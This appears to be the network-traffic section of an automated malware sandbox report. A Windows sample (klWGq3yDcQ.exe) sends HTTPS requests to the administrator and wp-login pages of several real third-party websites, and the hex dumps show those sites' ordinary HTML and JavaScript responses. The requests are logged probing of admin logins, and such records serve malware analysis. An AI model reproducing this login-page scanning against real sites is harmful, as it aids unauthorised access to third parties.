2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 70 72 6f 64 75 63 74 3a 76 6f 69 64 20 30 2c 65 78 74 72 61 3a 76 6f 69 64 20 30 2c 6a 73 41 74 74 72 69 62 75 74 65 73 3a 7b 7d 2c 75 73 65 72 41 74 74 72 69 62 75 74 65 73 3a 76 6f 69 64 20 30 2c 61 74 74 73 3a 76 6f 69 64 20 30 2c 74 72 61 6e 73 61 63 74 69 6f 6e 4e 61 6d 65 3a 76 6f 69 64 20 30 2c 74 4e 61 6d 65 50 6c 61 69 6e 3a 76 6f 69 64 20 30 7d 2c 6f 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 73 28 65 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 69 6e 66 6f 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 69 66 28 21 6f 5b 65 5d 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 49 6e 66 6f 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 Data Ascii: product:void 0,extra:void 0,jsAttributes:{},userAttributes:void 0,atts:void 0,transactionName:void 0,tNamePlain:void 0},o={};function s(e){if(!e)throw new Error("All info objects require an agent identifier!");if(!o[e])throw new Error("Info for ".concat(e
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 65 76 65 6e 74 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 70 61 67 65 5f 76 69 65 77 5f 74 69 6d 69 6e 67 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 33 30 2c 6c 6f 6e 67 5f 74 61 73 6b 3a 21 31 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 73 65 73 73 69 6f 6e 5f 74 72 61 63 65 3a 7b 65 6e 61 62 6c 65 64 3a 21 30 2c 68 61 72 76 65 73 74 54 69 6d 65 53 65 63 6f 6e 64 73 3a 31 30 2c 61 75 74 6f 53 74 61 72 74 3a 21 30 7d 2c 68 61 72 76 65 73 74 3a 7b 74 6f 6f 4d 61 6e 79 52 65 71 75 65 73 74 73 44 65 6c 61 79 3a 36 30 7d 2c 73 65 73 73 69 6f 6e 5f Data Ascii: stTimeSeconds:30,autoStart:!0},page_view_event:{enabled:!0,autoStart:!0},page_view_timing:{enabled:!0,harvestTimeSeconds:30,long_task:!1,autoStart:!0},session_trace:{enabled:!0,harvestTimeSeconds:10,autoStart:!0},harvest:{tooManyRequestsDelay:60},session_
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 67 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 76 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 67 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 66 28 29 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 69 6e 69 74 3d 67 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 70 29 3b 76 61 72 20 6e 3d 68 28 65 29 3b 69 66 28 6e 29 7b 66 6f 72 28 76 61 72 20 72 3d 74 2e 73 70 6c 69 74 28 22 2e 22 Data Ascii: )throw new Error("Configuration for ".concat(e," was never set"));return g[e]}function v(e,t){if(!e)throw new Error(p);g[e]=(0,i.D)(t,f());const n=(0,r.ek)(e);n&&(n.init=g[e])}function m(e,t){if(!e)throw new Error(p);var n=h(e);if(n){for(var r=t.split("."
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 77 20 6e 65 77 20 45 72 72 6f 72 28 22 52 75 6e 74 69 6d 65 20 66 6f 72 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 20 77 61 73 20 6e 65 76 65 72 20 73 65 74 22 29 29 3b 72 65 74 75 72 6e 20 45 5b 65 5d 7d 66 75 6e 63 74 69 6f 6e 20 54 28 65 2c 74 29 7b 69 66 28 21 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 41 6c 6c 20 72 75 6e 74 69 6d 65 20 6f 62 6a 65 63 74 73 20 72 65 71 75 69 72 65 20 61 6e 20 61 67 65 6e 74 20 69 64 65 6e 74 69 66 69 65 72 21 22 29 3b 45 5b 65 5d 3d 28 30 2c 69 2e 44 29 28 74 2c 6b 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 72 2e 65 6b 29 28 65 29 3b 6e 26 26 28 6e 2e 72 75 6e 74 69 6d 65 3d 45 5b 65 5d 29 7d 66 75 6e 63 74 69 6f 6e 20 52 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 63 6f 6e Data Ascii: w new Error("Runtime for ".concat(e," was never set"));return E[e]}function T(e,t){if(!e)throw new Error("All runtime objects require an agent identifier!");E[e]=(0,i.D)(t,k);const n=(0,r.ek)(e);n&&(n.runtime=E[e])}function R(e){return function(e){try{con
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 75 6d 65 6e 74 2c 69 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 73 65 6c 66 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 4e 61 76 69 67 61 74 6f 72 7c 7c 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 57 6f 72 6b 65 72 47 6c 6f 62 61 6c 53 63 6f 70 65 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 6e 61 76 69 67 61 74 6f 72 20 69 6e 73 74 61 6e 63 65 6f Data Ascii: ument,i="undefined"!=typeof WorkerGlobalScope&&("undefined"!=typeof self&&self instanceof WorkerGlobalScope&&self.navigator instanceof WorkerNavigator\|\|"undefined"!=typeof globalThis&&globalThis instanceof WorkerGlobalScope&&globalThis.navigator instanceo
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 4c 3a 28 29 3d 3e 64 2c 52 3a 28 29 3d 3e 63 7d 29 3b 76 61 72 20 72 3d 6e 28 38 33 32 35 29 2c 69 3d 6e 28 31 32 38 34 29 2c 61 3d 6e 28 34 33 32 32 29 2c 6f 3d 6e 28 33 33 32 35 29 3b 63 6f 6e 73 74 20 73 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 63 28 65 2c 74 29 7b 63 6f 6e 73 74 20 6e 3d 7b 73 74 61 67 65 64 3a 21 31 2c 70 72 69 6f 72 69 74 79 3a 6f 2e 70 5b 74 5d 7c 7c 30 7d 3b 75 28 65 29 2c 73 5b 65 5d 2e 67 65 74 28 74 29 7c 7c 73 5b 65 5d 2e 73 65 74 28 74 2c 6e 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 29 7b 65 26 26 28 73 5b 65 5d 7c 7c 28 73 5b 65 5d 3d 6e 65 77 20 4d 61 70 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 6c 65 74 20 65 3d 61 72 67 75 Data Ascii: 3:(e,t,n)=>{"use strict";n.d(t,{L:()=>d,R:()=>c});var r=n(8325),i=n(1284),a=n(4322),o=n(3325);const s={};function c(e,t){const n={staged:!1,priority:o.p[t]\|\|0};u(e),s[e].get(t)\|\|s[e].set(t,n)}function u(e){e&&(s[e]\|\|(s[e]=new Map))}function d(){let e=argu
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 67 74 68 3b 69 2b 2b 29 6e 5b 69 5d 3d 3d 3d 74 26 26 6e 2e 73 70 6c 69 63 65 28 69 2c 31 29 7d 2c 65 6d 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 72 2c 69 2c 61 29 7b 21 31 21 3d 3d 61 26 26 28 61 3d 21 30 29 3b 69 66 28 75 2e 61 62 6f 72 74 65 64 26 26 21 69 29 72 65 74 75 72 6e 3b 74 26 26 61 26 26 74 2e 65 6d 69 74 28 65 2c 6e 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 70 28 72 29 2c 63 3d 76 28 65 29 2c 64 3d 63 2e 6c 65 6e 67 74 68 2c 6c 3d 30 3b 6c 3c 64 3b 6c 2b 2b 29 63 5b 6c 5d 2e 61 70 70 6c 79 28 6f 2c 6e 29 3b 76 61 72 20 66 3d 62 28 29 5b 73 5b 65 5d 5d 3b 66 26 26 66 2e 70 75 73 68 28 5b 67 2c 65 2c 6e 2c 6f 5d 29 3b 72 65 74 75 72 6e 20 6f 7d 2c 67 65 74 3a 6d 2c 6c 69 73 74 65 6e 65 72 73 3a 76 2c 63 6f 6e 74 65 78 74 3a 70 2c 62 75 Data Ascii: gth;i++)n[i]===t&&n.splice(i,1)},emit:function(e,n,r,i,a){!1!==a&&(a=!0);if(u.aborted&&!i)return;t&&a&&t.emit(e,n,r);for(var o=p(r),c=v(e),d=c.length,l=0;l<d;l++)c[l].apply(o,n);var f=b()[s[e]];f&&f.push([g,e,n,o]);return o},get:m,listeners:v,context:p,bu
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 2c 67 65 74 20 73 69 67 6e 61 6c 28 29 7b 72 65 74 75 72 6e 20 61 3d 21 30 2c 21 31 7d 7d 3b 72 2e 5f 41 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 2c 72 2e 5f 41 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 65 73 74 22 2c 6e 75 6c 6c 2c 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 7c 7c 61 3f 7b 63 61 70 74 75 72 65 3a 21 21 65 2c 70 61 73 73 69 76 65 3a 69 2c 73 69 67 6e 61 6c 3a 74 7d 3a 21 21 65 7d 66 75 6e 63 74 69 6f 6e 20 73 28 65 2c 74 29 7b 6c 65 74 20 6e 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 32 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e Data Ascii: ,get signal(){return a=!0,!1}};r._A.addEventListener("test",null,e),r._A.removeEventListener("test",null,e)}catch(e){}function o(e,t){return i\|\|a?{capture:!!e,passive:i,signal:t}:!!e}function s(e,t){let n=arguments.length>2&&void 0!==arguments[2]&&argumen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.4	61530	95.168.220.210	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	371	OUT	GET /administrator/index.php HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip Cookie: k8spersistent=22cb6f4364865b2e22019c7dac43ae73\|11f187638643e13d7bd1963991fac52b; OF=3dbfg2bnrmlhvmjhpi48421sg2 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.beachrecruitment.com/administrator/
2023-11-26 05:59:39 UTC	371	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 65 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 70 72 61 67 6d 61 3a Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:39 GMTcontent-type: text/html; charset=utf-8transfer-encoding: chunkedexpires: Thu, 19 Nov 1981 08:52:00 GMTcache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0pragma:
2023-11-26 05:59:39 UTC	9214	IN	Data Raw: 32 33 46 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6e 6c 22 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 42 65 61 63 68 20 52 65 63 72 75 69 74 6d 65 6e 74 20 42 2e 56 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 63 72 69 70 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 4a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 74 79 6c 65 2d 54 79 70 65 22 20 Data Ascii: 23F6<!DOCTYPE html><html lang="nl"><head><title>Beach Recruitment B.V.</title><meta http-equiv="Content-Type" content="text/html;charset=UTF-8"><meta http-equiv="Content-Script-Type" content="text/Javascript"><meta http-equiv="Content-Style-Type"
2023-11-26 05:59:40 UTC	5381	IN	Data Raw: 31 34 46 44 0d 0a 63 61 74 65 67 6f 72 69 65 2f 39 34 36 37 38 2f 63 61 74 2f 61 6c 6c 22 20 74 61 72 67 65 74 3d 22 5f 73 65 6c 66 22 3e 3c 53 54 52 49 4b 45 3e 42 65 6b 69 6a 6b 20 61 6c 6c 65 20 76 61 63 61 74 75 72 65 73 3c 2f 53 54 52 49 4b 45 3e 3c 2f 41 3e 3c 2f 50 3e 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 4c 49 4e 4b 53 2d 2d 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 49 74 65 6d 43 6f 6e 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 46 6f 74 6f 22 3e 0a 09 09 09 09 09 3c 69 6d 67 20 73 74 79 6c 65 3d 22 22 20 61 6c 74 3d 22 22 20 74 69 74 6c 65 3d 22 22 20 77 69 64 74 68 3d 22 31 39 32 30 Data Ascii: 14FDcategorie/94678/cat/all" target="_self"><STRIKE>Bekijk alle vacatures</STRIKE></A></P></div></div></div>...LINKS--></div><div class="tItemCon"><div class="tFoto"><img style="" alt="" title="" width="1920
2023-11-26 05:59:40 UTC	12232	IN	Data Raw: 32 46 43 30 0d 0a 2d 2d 3e 3c 2f 73 70 61 6e 3e 56 65 72 74 72 6f 75 77 65 6c 69 6a 6b 0a 09 09 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 0a 09 09 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 6c 43 6c 65 61 6e 65 72 20 6a 73 6c 4b 77 43 6c 65 61 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 57 6f 72 64 20 6a 73 6c 4b 65 79 77 6f 72 64 20 6a 73 6c 43 68 61 70 6f 22 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 09 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 6a 73 6c 43 6c 65 61 6e 65 72 20 6a 73 6c 4b 77 43 6c 65 61 6e 65 72 22 3e 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 0a 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6f 6f 6b 49 74 65 6d 43 6f 6e 74 61 69 6e 65 72 20 6a 73 6c 49 Data Ascii: 2FC0--></span>Vertrouwelijk</div><div class="jslCleaner jslKwCleaner"></div><div class="hookItemWord jslKeyword jslChapo"></div><div class="jslCleaner jslKwCleaner"></div></div><div class="hookItemContainer jslI
2023-11-26 05:59:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.4	61651	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:39 UTC	527	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 77 6f 72 64 70 72 65 73 73 5f 74 65 73 74 5f 63 6f 6f 6b 69 65 3d 57 50 25 32 30 43 6f 6f 6b 69 65 25 32 30 63 68 65 63 6b 3b 20 70 61 74 68 3d 2f 3b 20 73 65 63 75 72 65 0d 0a 78 2d 66 72 61 6d 65 2d 6f 70 74 69 6f 6e 73 Data Ascii: HTTP/1.1 200 OKConnection: closeexpires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0content-type: text/html; charset=UTF-8set-cookie: wordpress_test_cookie=WP%20Cookie%20check; path=/; securex-frame-options
2023-11-26 05:59:39 UTC	841	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 09 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 53 74 61 67 69 6e 67 20 66 6f 72 20 4d 79 44 69 72 65 63 74 4c 65 6e 64 65 72 2e 63 6f 6d 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 3c 73 63 72 69 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; Staging for MyDirectLender.com — WordPress</title><meta name='robots' content='noindex, nofollow' /><scrip
2023-11-26 05:59:39 UTC	5794	IN	Data Raw: 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 66 6f 72 6d 73 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 31 30 6e 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 6d 79 64 69 72 65 63 74 6c 65 6e 64 65 72 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f Data Ascii: nk rel='stylesheet' id='forms-css' href='https://mydirectlender.com/wp-admin/css/forms.min.css?ver=6.4.1' type='text/css' media='all' /><link rel='stylesheet' id='l10n-css' href='https://mydirectlender.com/wp-admin/css/l10n.min.css?ver=6.4.1' type='text/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
239	192.168.2.4	61770	104.26.12.245	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:39 UTC	177	OUT	GET /wp-login.php HTTP/1.1 Host: hightideinc.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:39 UTC	774	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 39 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closevary: Accept-Encodingexpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0
2023-11-26 05:59:39 UTC	595	IN	Data Raw: 31 38 65 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 4c 6f 67 20 49 6e 20 26 6c 73 61 71 75 6f 3b 20 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 23 38 32 31 32 3b 20 57 6f 72 64 50 72 65 73 73 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 2c 20 6e 6f 69 6e 64 65 78 2c 20 6e 6f 61 72 63 68 69 76 65 Data Ascii: 18e9<!DOCTYPE html><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>Log In &lsaquo; High Tide Inc. — WordPress</title><meta name="robots" content="max-image-preview:large, noindex, noarchive
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 66 6f 72 6d 73 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 6c 31 30 6e 2d 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 63 73 73 2f 6c 31 30 6e 2e 6d 69 6e 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d Data Ascii: "https://hightideinc.com/wp-admin/css/forms.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" id="l10n-css" href="https://hightideinc.com/wp-admin/css/l10n.min.css?ver=6.4.1" type="text/css" media="all" /><link rel="stylesheet" id=
2023-11-26 05:59:39 UTC	1369	IN	Data Raw: 41 64 64 72 65 73 73 3c 2f 6c 61 62 65 6c 3e 0a 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 74 65 78 74 22 20 6e 61 6d 65 3d 22 6c 6f 67 22 20 69 64 3d 22 75 73 65 72 5f 6c 6f 67 69 6e 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 22 20 76 61 6c 75 65 20 73 69 7a 65 3d 22 32 30 22 20 61 75 74 6f 63 61 70 69 74 61 6c 69 7a 65 3d 22 6f 66 66 22 20 61 75 74 6f 63 6f 6d 70 6c 65 74 65 3d 22 75 73 65 72 6e 61 6d 65 22 20 72 65 71 75 69 72 65 64 3d 22 72 65 71 75 69 72 65 64 22 20 2f 3e 0a 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 75 73 65 72 2d 70 61 73 73 2d 77 72 61 70 22 3e 0a 3c 6c 61 62 65 6c 20 66 6f 72 3d 22 75 73 65 72 5f 70 61 73 73 22 3e 50 61 